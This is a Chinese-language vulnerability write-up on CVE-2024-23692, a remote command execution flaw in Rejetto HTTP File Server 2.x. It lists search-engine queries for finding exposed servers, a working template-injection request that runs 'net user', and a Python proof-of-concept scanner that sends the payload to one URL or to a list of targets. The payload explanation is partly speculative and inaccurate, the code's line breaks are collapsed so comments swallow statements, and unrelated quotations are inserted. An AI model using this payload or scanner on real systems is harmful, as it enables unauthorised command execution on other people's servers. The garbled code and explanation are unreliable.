聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。
文章目錄
- 漏洞描述
- 漏洞復現
- 測試工具
漏洞描述
Rejetto HTTP文件服務器是一個輕量級的HTTP服務器軟件,它允許用戶在本地計算機上快速搭建一個文件共享服務。其 2.x系列 存在CVE-2024-23692
遠程命令執行漏洞,攻擊者可在無需登陸的情況下利用模板注入執行任意命令,從而控制服服務器。
漏洞復現
1)信息收集
fofa:app="HFS"
hunter:app.name="HTTP File Server"
巧合是上帝默默操控世界的方式。
2)構造數據包
GET /?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host:ip
代碼解釋:
/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}
這個payload實際上是一個經過編碼的命令,讓我們更詳細地分析其各個組成部分:
-
編碼前原始命令:
- 原始命令是這樣的:
cmd=net user &search=xxx%url:password
- 這里
cmd
代表命令,net user
是Windows系統中查看用戶賬戶的命令。 &search=xxx%url:password
部分是一個搜索條件。
- 原始命令是這樣的:
-
URL編碼:
%0A
是換行符\n
的URL編碼形式。%25
是百分號%
的URL編碼形式,所以%25xxx%25
代表%xxx%
。
-
腳本或命令行工具語法:
{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}
這部分是一個特定腳本或命令行工具的語法,用于執行命令并設置參數。.exec
是執行命令的標志。{.?cmd.}
是一個動態替換為實際命令的占位符。timeout=15
設置了命令執行的超時時間限制為15秒。out=abc.
指定了輸出結果應該被寫入到以abc
為前綴的文件中,但具體文件擴展名未知。
-
輸出結果:
RESULT:{.?n.}{.?n.}{.^abc.}
這部分指定了輸出結果的格式。{.?n.}
可能是用于輸出變量或特定值的占位符。{.^abc.}
可能表示將輸出追加到之前提到的以abc
為前綴的文件中。
-
分隔符:
====
用作分隔符,以區分輸出中的不同部分。
這個payload可能是用于在遠程服務器或網絡設備上執行命令,獲取用戶列表,并搜索包含特定字符串的用戶賬戶。
在回顯中看到了用戶名,命令被執行,漏洞存在。
測試工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-import http.client
import argparse
from urllib.parse import urlparse
from urllib3.exceptions import InsecureRequestWarning
import ssl# 定義紅色和重置終端輸出格式的常量,用于高亮顯示漏洞提示
RED = '\033[91m'
RESET = '\033[0m'def check_vulnerability(url):"""檢查給定URL是否存在Rejetto HTTP File Server遠程代碼執行漏洞(CVE-2024-23692)。:param url: 待檢查的URL字符串。"""try:# 忽略HTTPS證書驗證錯誤,以進行漏洞測試# 忽略不安全的HTTPS請求警告ssl._create_default_https_context = ssl._create_unverified_context# 解析URL以獲取主機、方案和路徑信息# 解析URLparsed_url = urlparse(url)host = parsed_url.netlocscheme = parsed_url.schemepath = parsed_url.path if parsed_url.path else '/'# 構造利用漏洞的攻擊路徑# 構造完整的攻擊URL路徑attack_path = path + "/?n=%0A&cmd=net%20user&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"# 根據URL的方案(HTTP或HTTPS)創建連接對象# 根據URL的協議類型,選擇合適的連接方式if scheme == "https":conn = http.client.HTTPSConnection(host, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(host)# 發送GET請求到構造的攻擊路徑# 發送請求conn.request("GET", attack_path)response = conn.getresponse()# 讀取并解碼響應數據data = response.read().decode('utf-8')# 檢查響應狀態碼是否為200且數據中是否包含'Administrator',以判斷漏洞是否存在if response.status == 200 and 'Administrator' in data:print(f"{RED}URL [{url}] 存在Rejetto HTTP File Server遠程代碼執行漏洞(CVE-2024-23692){RESET}")else:print(f"URL [{url}] 不存在漏洞")# 關閉HTTP連接conn.close()except Exception as e:# 打印在檢測過程中發生的任何異常print(f"URL [{url}] 在檢測過程中發生錯誤: {e}")def main():"""程序主入口,負責解析命令行參數并調用漏洞檢測函數。"""# 創建命令行參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在Rejetto HTTP File Server遠程代碼執行漏洞(CVE-2024-23692)')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果指定了URL參數if args.url:# 確保URL以HTTP或HTTPS開頭,否則添加HTTPif not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 調用漏洞檢測函數check_vulnerability(args.url)# 如果指定了文件參數elif args.file:# 讀取文件中的每行作為URL,逐個檢查with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 確保URL以HTTP或HTTPS開頭,否則添加HTTPif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)if __name__ == '__main__':main()
運行截圖
多少事,從來急,天地轉,光陰迫,一萬年太久,只爭朝夕。